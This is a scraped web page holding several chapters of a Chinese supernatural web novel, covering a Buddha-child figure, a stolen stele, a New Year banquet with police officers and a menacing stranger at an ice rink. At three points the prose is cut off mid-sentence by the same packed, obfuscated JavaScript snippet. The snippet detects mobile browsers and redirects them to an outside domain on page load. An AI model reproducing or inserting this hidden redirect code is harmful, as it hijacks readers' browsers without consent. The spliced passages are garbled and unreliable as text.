当母体嵌于地下不可动弹的时候,父亲应该供给营养,但很明显地下的针鼠与人形枝蔓只是脆弱的邪恶而已。它们缓缓下沉,偷偷摸摸取人类的性命,弃子的绝望,叠加上处死的绝望,这样一总结只觉得可怜了。罗爱曜站于漆黑如洞的圣母堂大门前,左手一捏,残碑化为齑粉,扑簌簌从指缝中流下。 现实中有人靠近,罗爱曜暂闭佛眼,看见一个男人踉跄快步走来。圣母堂在口字型建筑的上一横中央,建筑群内还有东西南北四个楼。罗爱曜人在空旷的中心广场,来人多走几步,忽然跪下,作翻掌的拜佛礼。罗爱曜一看就觉得可笑至极,说:“我见过你。明知道我在家,几次来探看,我不处理你,你还来拜我?荒唐。” “我知道。尊贵的佛子,我什么都愿意说,什么都愿意交代,只要您需要。” “哪位信徒犯了忌讳向外人介绍我了?”罗爱曜哂笑,看男人膝行到他脚下,掬起手掌,拢聚地上那摊灰粉,动作极快,生怕灰粉消失。男人颤抖着左手,取出机械怀表,按起翻盖,右手撮着灰粉淋在相片上,动作极小心、极珍重。 男人嘴上没有忘记回答罗爱曜的问题:“您没有信徒破坏规矩。是我习惯了。我太能查了。我为了哪怕是最微小的线索都能做任何事。就像我向您求这块《玫瑰经》残碑的剩余,我求您带出来给我,我会做任何事。” 这人挺会许愿的。罗爱曜不想去圣母堂取剩余的碑,这男人就用他不值钱的膝盖来求罗爱曜为他打工。罗爱曜一脚踹在男人肩上,男人擦地翻滚,爬起来之后竟然一点不犹豫,又跑过来,又下跪,莫名其妙到可怜又可笑的地步。 “您家里的眼睛!那只脓液一样的眼睛……” “你叫什么?”罗爱曜打断。 “庄晓。” “庄晓,你怀表里的东西是什么?” 罗爱曜原本可以奚落,但他的脑子太好用了,他串联近期这一系列遭遇,如今他们在圣母堂前,他心中马上蹦出一个猜测。比起奚落别人满足自己的自尊,他还是更想满足自己的好奇心。 庄晓双手合拢,将怀表护在手心,深呼吸着,心有抵抗,他反正一个人出卖自尊千百回了,但不论谁问他都不会提这个真相。 “这些污物用人类做母体。”罗爱曜替他回答了,“怀表里是他的后代,也是你的孩子。真可笑,怎么会在怀表里?和地铁站那个感觉不一样。不是求我吗?把怀表给我看看。” “祂只是想找新母体!”庄晓歇斯底里地吼出来,语速极快,“地铁站……我不知道凭依是《玫瑰经》……我不知道是‘地脉圣母’,‘地脉圣母’可以给小安机会,长身体的机会。对不起,佛子,我求你,我许愿剩下的残碑。你不会想让那个与你同住的男孩和我一样的。你不会想的!你为什么现在才来?这个世界上有你这样的神,那祂算什么?为什么没有任何神看到我们?” “怀表。”罗爱曜道,“在我杀心还没赶上慈悲之前交上来。” 65.旧日幸存者篇(十七) 庄晓害怕,害怕罗爱曜像轻易捏碎残碑一样,也轻易地捏碎他的怀表。那块地铁站残碑可不是什么轻易就能得到的东西,更遑论摧毁。 没办法,庄晓只能站起来,反转怀表,放在手心,抬起手臂像呈上去的,但手半合上,像是随时准备合拢、抽走,他说:“我不能交给你,只能这样让你看……但我可以保证,你是第一个看到祂的人。” 机械怀表有指针侧与相片侧,怀表很古旧,表盘上方的玻璃灰蒙蒙,指针停转,留下的时间是六点过,时针和分针的夹角大,大约六点五分的样子。相片那侧嵌着男孩的照片,男孩看上去年纪不大,照片是黑白颜色,取景框出了男孩的上半身,微微侧身,作端正坐姿,穿的衣服却不伦不类的,就是最普通、最现代的童装,上衣前胸是胶印的幼稚发圆的英文字体,棉衫没有形状,照片的氛围像上世纪,男孩的装束却就是当代最普通的孩子。值得令人注意的还是男孩的长相,像是混血,五官布局完美,假人般漂亮。 人像照片里,从人的眼神往往能读出许多东西,误解常有,但空白不常有。男孩的眼神里什么都没有。他直直望向镜头,却给人一种诡异的虚无感。目光穿透照片,只是一种弥散的、阴冷的力量,其余什么信息都没传达。 庄晓没有听见罗爱曜回任何话。罗爱曜看完怀表,脑袋就转向了圣母堂,不知在观望什么。庄晓等了好久,直举得双手发麻、发酸,罗爱曜都没有给出任何回答或表示。 终于,罗爱曜开口:“你是怎么把你的孩子弄进相框里的?我很感兴趣。你可以用这个东西来交换我的帮助。” 这一整天,施霜景的心都热热的。 联欢会结束,他留下来与大家一同把教室桌椅都复原。一些学生回家吃饭,另一些已经计划好元旦的放假活动,班主任特意强调,让他们注意安全,不许去危险场所。施霜景沉默寡言却脚步不停,一共十二人,大家一起坐公交去地铁站,再坐地铁进城。 他们一行人要看元旦档的喜剧片,午饭就在商场附近的居民区火锅店解决。D市人,吃火锅点微辣都会被人笑着反问几句,结果班上还真有不大能吃辣的人,家里父母都是东北人南下进厂,这么多年了也没习惯吃辣,十二人分了三桌,有一桌就是鸳鸯锅。施霜景非常自觉地就去坐了鸳鸯锅那桌,他不介意这个,骨汤涮菜不也挺好吃的么。 要知道施霜景可是有六十万的人。六十万。施霜景吃火锅时一直在心中刻板地念这个数字。这么多钱够不够开这么一家火锅店?六十万。我是不是应该主动买单?钱不是这样花的。六十万。为什么佛子要给我这么多钱?我只是一个高中生而已。他真不怕我学坏吗? 施霜景这辈子就没有看过几部电影,这更是第一次进电影院。从前福利院的电视机可以看电影频道,可几乎没人会用电视看电影。施霜景好像不大能踏踏实实坐两个小时看完一部电影,每次用手机看这些电视剧什么的,不到五分钟就心烦了。太长的剧没耐心,太短的视频又太吵。除了唱歌这一个爱好以外,施霜景是个喜静的人。 他们在电影院里分成两排坐下,施霜景买了中桶爆米花、大杯可乐,杨玲玲说这是看电影的标配,可她却没买。施霜景吃了几口发现这不是他的菜,口干舌燥,而且咀嚼的声音很大,在脑子里嗡嗡地响。电影开场半小时的时候,施霜景就把自己的爆米花送给了杨玲玲,杨玲玲很开心地接了过去。 这部电影的剧情老掉牙,有关时间穿梭的喜剧片,谁谁谁回到过去试图弥补遗憾,却引发了连环糗事,笑点还算密集,大家笑的时候施霜景一起笑,大家不笑的时候施霜景也全神贯注。大银幕的荧光幽幽地投在他脸上,男孩英俊的五官终于凸显出来,剑眉星目,仿佛银幕是一扇打开的风雪中的大门,身处暗室的男孩终于见光,踌躇于是否要迈出这大门,自由与危险并存,这一瞬的神态的定格不见希望也不见绝望,让人只想祝愿他好运。 电影即将结束,高潮的笑点余韵仍残留,施霜景慢热,大家都累了的时候他才始觉兴奋。影厅灯亮,众人纷纷起身,施霜景学着其他人的动作,将喝空的可乐拿在手里,扔进门外的垃圾桶。十二人小聚在门口,家中的元旦晚餐不可缺席,大部分人都要回家或者下馆子,有些要回厂里,有些则留在市里。施霜景知道饭店地址,他打算坐地铁过去。大家决定好了,就一齐往外走,自然地分流。施霜景漫不经心地踩着电影院的软毯,忽然一抬头在出口处见到了罗爱曜。 “我靠,你舅舅又来接你啊?”有同学怪声道。 施霜景哪知道啊,不是说在饭店见吗。 一行小孩对着罗爱曜喊“舅舅好”,声音此起彼伏,好不热闹。施霜景与罗爱曜合流,罗爱曜问他:“看了什么电影?” “喜剧片,《逆转赌神》,一个在牢里关了三十年的老千回到过去当赌神的故事。你怎么来了?” “顺路。” “你的事办完了?”施霜景问着,二人走到直梯门口,罗爱曜死性不改,西装男模打扮,衬得施霜景像他助理。 “算是办完了。”罗爱曜没说,其实一波未平一波又起。他等着今晚见蒋良霖和郎放,这两人最好是比罗爱曜知道的更对此事上心,否则罗爱曜少不了在新年给他们上上压力。他总觉得那一家三口还攒着秘密没说明白,但罗爱曜已然受了影响。 “我们要不要带点……呃,水果?就是上门要带的礼物之类的。” “不用。不要对他们太客气。” “……” 罗爱曜按了负三层。 出到商场停车场, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485814|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 施霜景跟着罗爱曜走,才发现今天罗爱曜竟然不是骑摩托,是带顶的轿车!四个轮的轿车!恕施霜景对车完全不了解,车漆明亮,暗示其贵意,罗爱曜让施霜景坐副驾,系好安全带。 “我早就想问了……你有驾照吗?开摩托也需要驾照的吧。” “……” 施霜景沉默地斜眼看过去。 罗爱曜伸长手拉开副驾驶座前的抽屉,翻出一本驾驶证,扔到施霜景腿上。施霜景打开来,竟然真的是罗爱曜的驾照。 “这是真的还是找人做的??”施霜景又问。 “再问就把你丢下去。” 施霜景不敢问了,原样收好罗爱曜的驾照。他真不能想象罗爱曜去拍证件照、取驾照本的样子。肯定不是他自己去考的驾照! 包厢门打开,机洗麻将的声音响个不停。服务员退场,施霜景认出了那个谭警官,旁边那个戴眼镜的是谁? “来了啊。正好刚洗完牌,我们先暂停一下。”蒋良霖说,“这是谭鸿信谭警官,旁边这位是林鸣,法医。郎放说包厢只有我们五个人太空了,找两个人来填一下麻将桌。” 施霜景、罗爱曜:…… 罗爱曜脱大衣,谭鸿信特别有眼力见,说:“我要去上个厕所,呃,谁来替一下?” 罗爱曜坐进空位,竟然马上就同意打麻将。 施霜景真是惊呆了,罗爱曜什么时候和他们这么熟了?眼神一转,这才看见在沙发上玩游戏机的蒋念琅。蒋念琅差点就被无聊死了,小景哥终于来了,她一扔游戏机,大叫着跑过来,施霜景脑子不转,手却马上接住了小女孩,双手托着蒋念琅的腋下就给她半举起来,蒋念琅想让施霜景带她去对面商场的滑冰场玩,郎放的声音飘过来:“马上就要吃饭了,下回吧。” 麻将桌上四人表情都很耐人寻味。蒋良霖心情大好,郎放不苟言笑,罗爱曜云淡风轻,林鸣严阵以待。打了半圈,罗爱曜问林鸣:“你也是之前在励光厂调查老人死亡案的工作人员吧?” “是,我是。我没想到郎放会请我们吃饭。” “我也没想到。”罗爱曜说,“他们怎么介绍我的?” 蒋良霖打了四万,手上在做筒子清一色,代替林鸣回道:“用不着我介绍啊,人家是亲历者,知道你是佛子。” 林鸣:“嗯,呃,这下搞得我有点紧张了,等等,我刚才摸牌了吗?” 谭鸿信从厕所回来,顺便找服务员要了菜单,递给施霜景:“刚才已经点过菜了,你看看要不要给你和佛子再加点菜。啧啧,小姑娘,你可真调皮呀!我们三个要不要玩斗地主?或者……你会不会算二十四点?” 你们玩性也太大了吧!施霜景怔愣,整间房里难道只有他是完全不会各类游戏的一般路过普通人吗? 66.旧日幸存者篇(十八) 施霜景翻了翻菜单,根据他所猜测的佛子口味再加了两道菜。他不打斗地主,就看热闹,看谭鸿信和蒋念琅算二十四点——结果谭鸿信被蒋念琅爆杀。谭鸿信把蒋念琅当小孩,蒋念琅把谭鸿信当乐子。 谭鸿信丧气极了,蒋念琅这小孩天生一对明亮眼睛,马上就能分出谁揣着心思、谁真的单纯。她喜欢单纯的人,就与单纯的人一起玩单纯。遇上谭鸿信这种只拿她当借口与人搭话的,就死命地欺负,把谭鸿信这三十多岁的人衬得像智力发育不足。 “玩不下去了,你这是抽乌龟还是抽我啊?运气这么好?”谭鸿信拢好扑克牌,当做什么都没发生过,人往沙发上一瘫,仰面道,“今天可是元旦呢,我不回家吃饭,过来陪你们的饭局,能不能就大发慈悲给点线索了?” 施霜景问道:“什么线索?” 整间包厢里只有施霜景一人接话,也只能指望施霜景接话。谭鸿信复又坐直了,“佛子真的没有去看守所找人算账吗?就是之前闯入你家的那个小孩父亲,大半夜偷了刀的人。” “他怎么了?” “他凭空消失了!”谭鸿信不可置信道,“今天星期二……那就是上上个周末的事情。施霜景,你是不是之前还报警送进去了另外一个人?就是你报警送进去的男人离开看守所那天,那位琪琪父亲在看守所内失踪。励光厂派出所觉得蹊跷极了,丢了看守犯这事不小,派我过去了解情况,我一翻卷宗,得了,还不如直接上门来问你们。” 服务生进来,问人员到齐没有,可不可以开始上菜了。蒋良霖说可以,服务员就给大家重新倒了热茶,退出去,准备上菜。施霜景抿了一口热茶,无声看向罗爱曜,佛子没提过这件事,住楼上的郎放一家也没提过。 “那个放出来的叫庄晓,你最近在厂里有没有看见过他?”谭鸿信问。 “没有。我不怎么出门,天天在家学习。上个礼拜我们刚考了一诊。” “看守所里莫名其妙丢了一个人,厂区警察让庄晓就留在励光厂等着传唤,但肯定没人会听这种话啊,他要真犯了什么事,肯定一放出来就跑了,果然嘛,我找了几天都没找到他。我们还拿到一大堆失踪人员的身份证件,不知道该怎么办好。” “如果一直都找不到人该怎么办?”施霜景问。 “那就只能继续当悬案了。离谱。要是没有家属来投诉的话就还好。算了,我在这儿对着空气着急上火呢,你看谁理我?” 包厢里确实只有谭鸿信还在惦记他的工作。连林鸣都没在想这些事了。在事业方面,谭鸿信比林鸣有盼头,林鸣在这两个月里再次对体制内的行事作风与晋升体系失望,只能转移自己的工作重心,希望能多带出一些好徒弟。他估计就卡在这里动弹不得了,不会特别好,也不会特别糟。他才三十多岁,就能预见到自己六十多岁退休时的情况。早知道就不进省厅了,当年留校任教前途可能还更敞亮。 一道道冷盘热盘很快上桌,菜肴颜色缤纷,就连摆放也有讲究,哪道菜挨哪道菜,留出几个大盘的位置。他们算上小孩也才一共七个人,却点了十七道菜。麻将牌碰麻将牌,撞出的钝音像囫囵吞了几个饺子,还没上桌就玩饱了。施霜景是深深进入生活但从来只知道生活的单调版本,以前元旦就是福利院里大家一起吃饭,过年的时候倒有些烟花和仙女棒可以挥舞一下。大人就是大人,小孩就是小孩,大人怎么过年的,从来不清楚,小孩怎么过年的,都是对另外一些幸福小孩的人生做低质量模仿。蒋良霖发现施霜景已经等在桌前了,就招呼大家赶紧结束战斗,上桌吃饭。 幸好这是十二人桌,勉强能放下这么多大盘,人是坐不满了,不必要非挤坐在一起,正好可以分成三拨人。罗爱曜和施霜景挨着坐,两人左右各空出一个位置,再是郎放一家与两位刑警。郎放带了酒,白的有茅台,红的有白马庄园,啤酒就随意了,饭店送的半打啤酒,不够还可以送。蒋念琅原本想喝椰奶,一看郎放和蒋良霖都喝红酒,她要尝一尝,才发现不是葡萄味道的饮料。蒋良霖宠她,拿雪碧兑白马庄园,再让蒋念琅尝了一下,这回她喜欢了,只不过不能多喝,顶了天小半杯,毕竟还是小孩。 “佛子,你们要喝什么?” “我喝白酒。”罗爱曜说。 施霜景原本也想着只喝椰奶就行了,可看见蒋念琅的那杯兑过的雪碧红酒,有点没出息地想尝尝是什么味道,他举手表达自己的意愿,蒋良霖就也给他兑了一杯,想喝就再调。罗爱曜按下施霜景的玻璃杯,“你沾酒精就晕,不许喝。” 施霜景自己都忘了这回事,他几乎不喝酒。哦,上次,罗爱曜刚来他家那天,一点梅酒就放倒了施霜景。蒋良霖倒是觉得没什么问题,说:“一会儿我们打麻将,他在沙发上睡觉,打完了再把他送回家,非要醒着干什么?” “新年为什么要和外人一起过?饭吃完就各回各家。”罗爱曜说。 施霜景受不了了,就一个喝不喝酒的问题,磨叽半天,他重新倒了杯椰奶,意思是他不喝酒了。饭桌上又尴尬了几秒,请客的郎放才表示大家赶紧动筷吧,别凉了。 施霜景为罗爱曜再加的两道菜,一道是龙虾芙蓉滑蛋,另一道是吊炉脆皮乳鸽。经过施霜景这一段时日的观察,他感觉罗爱曜的口味其实还是偏清淡,偏好食物的本味。他回想自己以前吃罗爱曜的祭食,大多菜都是沿海调味,不辣的菜远多于辣菜。这家饭店的家宴出品档次很高,点菜时看不见价格,不过既然不需要施霜景出钱,他带张嘴、带个胃来就好,简直是大快朵颐。他吃高档货吃不出个所以然,只记得满室的高档装潢和反射顶灯的阔面瓷盘,菜有油亮也有色亮,一人一盅煲汤,洗掉施霜景中午吃进肚的火锅烟火气,晚上这顿越吃越目眩,一道菜夹一两筷子,就这样一圈下来就半饱了。 可惜罗爱曜似乎对施霜景加的两道菜并不感兴趣,施霜景观察着,罗爱曜的筷子就没落到过这两盘菜上。龙虾蒸蛋用一个个小碗盛着,施霜景取了一碗,人生第一次吃龙虾,原来是这个味道。又转一圈,除了蒋念琅拿了一小碗,其他人也对这菜不感兴趣,施霜景就再取了一碗,准备自己吃,挽尊。这回小碗一落进盘子里,旁边就伸过来一只白手,罗爱曜抢走了施霜景的蒸蛋。 不知道他是故意还是有意的。罗爱曜的读心时有时无,不知道这是什么意思,可能就是单纯逗他。施霜景被罗爱曜搞得心好乱。家宴,家宴,就好像真是请了他们一家。就算施霜景再迟钝,他现在也开始意识到,有什么东西彻底不对劲了。 有那么一两次,施霜景也想抢回来,从罗爱曜的碗里夹走大黄鱼或者小鲍鱼,可其实施霜景对吃海鲜没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492937|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么感兴趣,也不敢把筷子伸进罗爱曜的碗里。这么一纠结,一顿饭就过去了。小孩子吃饱可以下桌,大人放了筷子就要谈正事。 罗爱曜先向郎放和蒋良霖发难,问他们最近有没有调查清楚那个沙漏装置,如果没有,郎放最近有没有撒癔症再搞出点创作来。有人对“撒癔症”这个说法很不满,但谁让罗爱曜干了更多的事呢,显得像白白替人打工,这分钟还是要卖乖。蒋良霖彻底调查了地铁天府广场站的打生桩事件,也调查了从谭鸿信那儿知晓的失踪人员的情况。 “这些人的消失没能引起任何一方的关注,我想是因为触发条件都太不一样了。”蒋良霖说,“这些失踪证件来自天南海北,他们的失踪登记也都遍布各个省市,不仅仅是S省D市。还有一些证件压根就没有报过失踪,倒查回去,发现是没有人能报他们失踪了,没有人在意这些人在哪里、做些什么。失踪地点不同、失踪人员的社会构成不同、失踪时长不同……沙漏装置的观测,迄今为止也只有你一个人做到了,我们都只能在梦和潜意识、无意识里捕捉一点。我和郎放都有点想放弃了。” “那你们就放弃吧。蒋念琅什么时候准备好?” “佛子,你不必再做接下来的事。”蒋良霖说。 “随你怎么说。事情是你们开始的,结束不了就想推卸责任,我不做白工,讲道理这是最后一回,下次我要么带蒋念琅施行仪式,要么等我了结这些脏活之后上门追你们的债。”罗爱曜不开玩笑,他做护法仪式,又不需要将小龙剥皮去骨,谈不拢就不谈了,现在是假打假闹的算计,一旦动真格了,那算计的可就伤害感情了。 郎放出声:“那就年前吧,你需要多久布置这仪式?” 一想到自己的安排,罗爱曜蓝眼微转,“我还需要一些时间。年前,大约阳历二十号左右可以准备好。怎么样?” “行。”郎放说,“我知道佛子你最近还在忙我们拜托的事,总之我们念这份情。” “我看不出来这事哪和你们有关。你们倒是殷勤。”罗爱曜说。 “真是强买强卖。我们对你无所求,本来连交易都不必有的,是小鼓逃不掉被你盯上,只能找个买卖来做。互相理解一下吧,佛子。小鼓是我和郎放珍爱的女儿,你要是以后有孩子,只会比我们盯得更上心。”蒋良霖真是郁闷到了,遭罗爱曜盯上就跟被恐怖片里不讲道理的鬼缠上似的,以前躲地府的人也没这么提心吊胆过。 “后代真是麻烦。”佛子如此评价。 这一桌子菜剩了大半,施霜景原本不好意思打包,是见到郎放和蒋良霖打包了,他才跟上动作。 罗爱曜与他们还是打了两个小时的麻将,什么都谈,施霜景听了几句就跟不上节奏了,等自己稍稍消化了一下,施霜景就带蒋念琅去对面商场的滑冰场玩,幸好施霜景没喝酒。郎放说蒋念琅很皮实,稍微护着点就行,摔不出什么大事。一上冰场,施霜景觉得是自己要摔出什么大事了。 元旦晚上,商场人流很一般,滑冰场就更是只有寥寥几人。施霜景好不容易从冰场中央蹭回了边栏,内心淡淡的绝望。冰场的大灯虽持久且高功率地亮着,可光好像很难触及向下,滑冰场的可视范围很大,在冰场之外的地方却晦暗阴翳。 施霜景感到略微不安,一种很不自在的感觉。 67.旧日幸存者篇(十九) 室内滑冰场位于商场西侧B2层,商场顶棚是透光玻璃,只是因为入夜显得像封了水泥顶。冰场狭长,蒋念琅背着手绕着椭圆滑冰,真不一般的运动能力。有两个孩子和教练站在冰场出口附近,应该是结束了今天的练习,教练演示动作,纠正孩子的错误姿势。有一对情侣手拉着手艰难地行进,全程扶着护栏,两个人都是菜鸡的时候滑冰也能成为乐趣,二人的表情都很甜蜜。 这种不自在的感觉从何而来?施霜景环顾四周,商场上面几层已经有商家准备打烊了,现在是晚上九点,商场十点关门,只有顶层的电影院营业到十二点。这家商场原本生意很不错,但自从三年前另一家高端商场在附近开业,它的人流量急剧减少,估计冰场也维持不到明年了。 蒋念琅滑冰的速度越来越快,场边的教练见状,赶紧大声提醒,是哪家小孩在冰场滑这么快的?这又不是竞速冰道!施霜景连忙出声道歉,迈着勉强的步子想追上蒋念琅,蒋念琅见状,不好意思再折腾,渐渐放缓速度,速度一慢下来她就有些心不在焉,东张西望。 “小鼓,你不能滑这么快,摔倒就麻烦了。”施霜景放低重心,一步一蹭地跟上蒋念琅。 “场上又没人,有什么关系。”蒋念琅朝施霜景伸手,“我带你滑两圈!” 施霜景把手交给蒋念琅,“你学过滑冰吗?” “嗯!爸爸会带我去圣诞集市的滑冰场玩,那一整个月我天天去。” “原来如此。”真好。施霜景学着蒋念琅的姿势,背起另一只手,左脚,右脚,蒋念琅虽然是小学生年纪,可她不是人类,即便只是柔柔一阵力,也带着不容拒绝的强硬感,转弯绕圈,毫不费力,施霜景想不通这样一个可以拥有全世界的小女孩为什么喜欢拉着自己玩,是因为她觉得他也是孩子吗?还是因为施霜景耐心又经造? 滑了两圈,施霜景渐渐找到感觉,此时教练和两个小孩退场,施霜景隐约听见前台工作人员说:“……只剩四十分钟哦,我们不退费的。中文,听得懂中文吗?哦哦,好……” 滑到这一侧,施霜景看见一个男人正在穿冰刀。再滑半圈,一个外国人进入冰场。冰刀锉地的声音,情侣说小话的声音,员工聊天的声音。施霜景抬头,外国人超过了他们,只留下一个背影。男人穿着毛衣和西裤,大概是将外套挂起来了,手上手套却没摘,一头铂金色短发,靠近脖颈的浅金色短发修剪得极其平整。男人滑冰的速度很快,不论教练还是员工都没有提醒他放慢速度,这算是双标了吧,施霜景想。 蒋念琅忽然松开了施霜景的手,小牛一样锉了两下冰刀,就加速上去。施霜景见势不对,也想加速,结果差点没栽在冰场上。蒋念琅似乎是想和外国人比一下滑冰,她朝外国人讲英语,外国人没理她,蒋念琅闷头跟上。施霜景喊了喊蒋念琅的名字,没用。施霜景自己的速度也不慢,他只能半撞上护栏,让自己减速,这才扶着护栏挪到出口,他要脱了这双冰刀,去寄存柜里取回自己的书包,又去取了自己和蒋念琅的鞋子,是时候该喊蒋念琅回家了。 踩上坚实的地面之后,施霜景才有空去注意那外国人。施霜景很难形容这外国人的长相——如果说罗爱曜是天人面貌,那这外国人则长了一张帅得很陌生的脸,无法用任何影视明星来打比方,他不像任何人,也似乎并不能多加直视。罗爱曜长得帅,观赏他有种观赏壁画的古意。这外国人只消盯了两眼就会有些犯晕,生理性的不舒服。 两人滑冰为了尽可能地增加半径,都比较靠近护栏,施霜景努力伸长手臂,在蒋念琅滑过时一把拽住她。小女孩差点摔倒,施霜景一手拽着护栏,一手托住蒋念琅,冰上双腿不受力,施霜景只能“啪叽”一下,双膝跪地。 施霜景顾不上疼痛,低声对蒋念琅说:“我们得走了。我感觉有点不对劲。” 蒋念琅这才如梦方醒,迷茫地点点头。蒋念琅还能锉着冰刀走出场,施霜景几乎是膝行着爬出来,离开冰场才能站立。蒋念琅坐在椅子上脱冰刀,眼睛还时不时看向冰场里的外国人,这时外国人忽然与她对视上,那一瞬忽然有种很恐怖的感受。蒋念琅的视野边缘忽然变得十分暧昧,很不稳定的样子,再眨眼两下,目光所及的场景如蜡烛流下烛泪般垂直融化,一切颜色的分界都变得模糊。蒋念琅把冰刀往脚边一踢,来不及穿鞋,她穿着袜子就往外跑,手还拽着施霜景的卫衣帽子。 “喂!小鼓,你别乱抓!”施霜景挣开蒋念琅的手,转而握住,蒋念琅一步三回头,滑冰场的灯愈来愈暗,明明是室内冰场,可这一刻二人忽然感觉有风,绝不是空调,因为施霜景嗅见了荒野空气里的草木味。 复行十几步,一个转弯就要看不见身后滑冰场的时候,蒋念琅忽然拽停施霜景,“小景哥,不能往前走。” 在蒋念琅的视野中,眼前的场景已彻底融化成不可分辨的物质。她继承郎放的阴阳眼,甚至还比郎放更灵活——她可以选择什么时候看,什么时候不看。如果说郎放的阴阳眼是永远在现实世界层面套上了阴间存在的滤镜,那么蒋念琅就是可以选择自由加上或者关闭这滤镜。为了区分她和郎放的眼睛,他们一家会直接称呼蒋念琅的眼睛为“龙目”。当她察觉到现实世界有什么不对劲时,往往会选择睁开龙目。如今融化的视野是龙目的视野,这是特等红色预警。 蒋念琅积极地寻找着还没坍缩的场景,愈是回到冰场,场景就越稳定,愈往外则愈混乱,但这不就是说明冰场有蹊跷?蒋念琅和施霜景一齐想到,是那个外国人。 施霜景掏出手机来想联络对面的家长们,无信号。这下更能确认他们摊上事了。 渐渐地,员工和情侣的声音已经听不见了,就连施霜景都不再能看到他们。商场变得空旷、寂静,像一整个沉入了深海中。灯光愈发不明朗的时候,窗外的夜空反倒愈发通亮。不知是渺小了的灯光还是下沉了的远星,透明顶棚外的夜空在一分半钟之后竟然亮过滑冰场。外国人滑满了十圈,从容离开冰场,好像这些事都与他无关一样。他将自己的冰刀还回了无人的前台,从旁取下自己的大衣,这就要走了。 施霜景能从蒋念琅的状态中推断出她有办法判断哪里能去、哪里不能去。施霜景眼中看到的商场不是融化的烂泥,而是视物的明暗度被调暗了,不论他怎么眨眼,眼前的一切只是越来越沉入这墨色,同时这暗意不是纯粹的黑,而是黑中透红,是具象化的危险。 往外走,视野正在融化,黑红色幕布缓缓下降。视线跟随外国人,一切都好像稳定了下来,可蒋念琅和施霜景都知道,他应该就是罪魁祸首。外国人似乎对商场的地形很熟悉,走到了滑冰场一侧的安全通道,荧光绿色奔跑小人如此醒目。 开门,关门的声音。外国人离开,一分钟,两分钟,五分钟。一切都没有变好。光秃秃的冰场,死寂的商城。施霜景和蒋念琅都感觉到一股冷意,不知这风是从哪里来的,很快这风声愈发突兀,在商场内部盘旋游荡。施霜景将自己的手机屏幕转向蒋念琅,表示没有信号,没办法联系她的家人和罗爱曜。 蒋念琅牙关打颤,“小景哥,你、你能联系上佛子吗……不然就只能让我想、想想办法了……” 施霜景蹲下来给蒋念琅穿鞋,室内温度极速降低。蒋念琅一直看向安全出口的方向,似乎是想跟上去,在她的视野里,一片烂汤、泥泞的杂色中,只有月光下的冰场和醒目的逃生出口还算完整。 “什么办法?” “我是龙。” “不要这么做。小鼓,我记得你妈妈说你不能在他的视线范围外擅自化龙。郎放肯定有他的原因。” 蒋念琅冷得想哭,施霜景拉开羽绒服,将她拥进怀里。按理说蒋念琅的体能优于常人,可就连她都不能调节体温。施霜景不确定他眼前看见的异象、异色是不是低温导致的幻觉。 “我们能不能去安全通道那里看看……”蒋念琅恳求道。 施霜景有点犹豫。他是比蒋念琅大十多岁没错,但他是人类,最无用的人类。如果换成是罗爱曜或者郎放、蒋良霖,施霜景绝对不会犟。难道他要因为蒋念琅是小孩就不相信她的力量吗?可施霜景的直觉在疯狂作响,那个男人为什么要出现?他为什么要在这冰场上画圈,然后就这样一言不发地离开?这时施霜景才突然间发现,他和蒋念琅不知不觉中为了寻求顶棚外的夜光,已是自觉走回了冰场。 冰场那夯实的白色冰面上有无数条冰刀痕,望久了竟然觉得冰面底部透出一点隐隐约约的肉意,是令人不安的肤白色。施霜景搂紧蒋念琅,他想起自己书包里有两样东西,一样是佛子的法器金刚杵,另一样是纯金佛像。施霜景在心中不停默念着“佛子保佑”,摘下书包,单手去掏书包里的法器。在摸到佛像的那一刻,施霜景心安了一秒。 倏忽间室内狂风大作,骤风卷起商场内的陈设,前台柜子里的冰刀刃口朝上地卷入空中。施霜景连忙压低蒋念琅,匍匐在冰上,此时蒋念琅忽然尖叫起来。 “这是什么——啊——!这是什么东西……小景哥,冰里……不行,我们不能趴在这里——” 蒋念琅的龙目里看见了最恐怖的画面。 他们仿佛置身野地冰原,不,是雪季中绵延千里的冰河。冰河下原本应该流淌着水,冰下漆黑江河要么完全静息,要么涌起细密的气泡。在这样的冰层上行走,人会担心冰层忽然碎裂,人掉进冷湖之中。但蒋念琅看见的冰下是浮动的脂白物体,刚才站起来看得不真切,如今匍匐在地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492938|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆上狂风,冰下好似也狂风似的,脂白物体疯狂地撞击着冰面,从地底发出轰响,蒋念琅这才看清,一具具裸尸像蜡像一样在冰下击撞,白腻的后背、前胸、臀部贴在冰上又迅速卷走,这些裸尸在巨力之下竟然没有碎成一块一块,具有令人惊异的韧度。但当那些五官和四肢拍打在冰下时,蒋念琅只觉得自己要疯了。 